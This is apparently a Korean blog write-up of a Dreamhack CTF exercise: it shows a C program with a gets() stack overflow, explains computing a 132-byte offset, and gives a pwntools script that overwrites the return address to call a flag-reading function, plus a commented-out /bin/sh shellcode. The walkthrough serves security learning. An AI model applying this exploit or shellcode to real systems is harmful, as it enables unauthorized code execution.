2023. 2. 19. 18:09ㆍPwnable/Dreamhack
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
문제의 소스코드다.
먼저 buf의 크기는 80으로 제한을 해놨지만 gets 함수를 통해 받을 수 있는 buf의 값은 제한이 걸려있지 않다.
이를 통한 취약점으로 Buffer Over Flow 를 일으킬 수 있다.
이후 read_flag 함수에서 플래그를 획득할 수 있다.
전형적인 Return Address Overwriting 문제로 RAO 공격 기법을 활용해야 하는 문제다.
우선 esp 에서 ret 까지의 거리를 구하기 위해 디버거를 통해 패턴을 생성후 거리를 계산하여 보자.
이를 통해 ret까지 거리는 132 인 것을 확인할 수 있다.
이후 read_flag 의 주소값을 찾고 ret 영역을 침범함과 동시에 덮어버리면 플래그를 읽는 역할로 만들 수 있을 것이다 !!
read_flag 함수를 디스어셈블리 하고 주소 값은 0x080485b9 인 것을 확인할 수 있었다.
그렇게 짠 익스플로잇 코드는 다음과 같다.
from pwn import *
p = remote('host3.dreamhack.games', 18415)
#shellcode = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
#---> 처음에 무식하게 쉘코드를 따려고 했던 나의 모습...
read_flag = p32(0x080485b9)
payload = b'A' * 132 + read_flag
p.sendline(payload)
p.interactive()
#---> 작성하면서 알았는데 이부분은 필요 없다.
이후 익스플로잇을 하면 !!
flag을 탈취할 수 있다...!!
이번에는 맥북 에어 m1 을 통해 pwnable 을 시도해 봤는데.. 역시 망할 맥북.... 필자의 서버에 ssh를 통해 접속하여 익스플로잇을 시도 했지만 왠지 모르게 p = remote() 가 수행되지 않아서 굉장히 소중한 시간들을 헛되게 보냈다..
결국 amd64로 도커를 빌드해서 익스플로잇을 수행했다...
역시 시스템 해킹은 인텔칩이 갑이다 갑!!!!
아무튼 오늘도 야호 ! 성공이다..
이번에는 너무 쉬웠다.. basicexploitation_000 이랑 문제순이 바뀌어야 되지 않나 싶다.
아무튼 진짜 끄ㅡㅡㅡㅡ틑ㅌ
'Pwnable > Dreamhack' 카테고리의 다른 글
Dreamhack Rao -Stack Buffer Over Flow- (1) | 2023.03.24 |
---|---|
Dreamhack -off_by_one_001- (0) | 2023.03.05 |
Basic_exploitation_003 (0) | 2023.02.26 |
basic_exploitation_000 -Dreamhack- (0) | 2023.02.19 |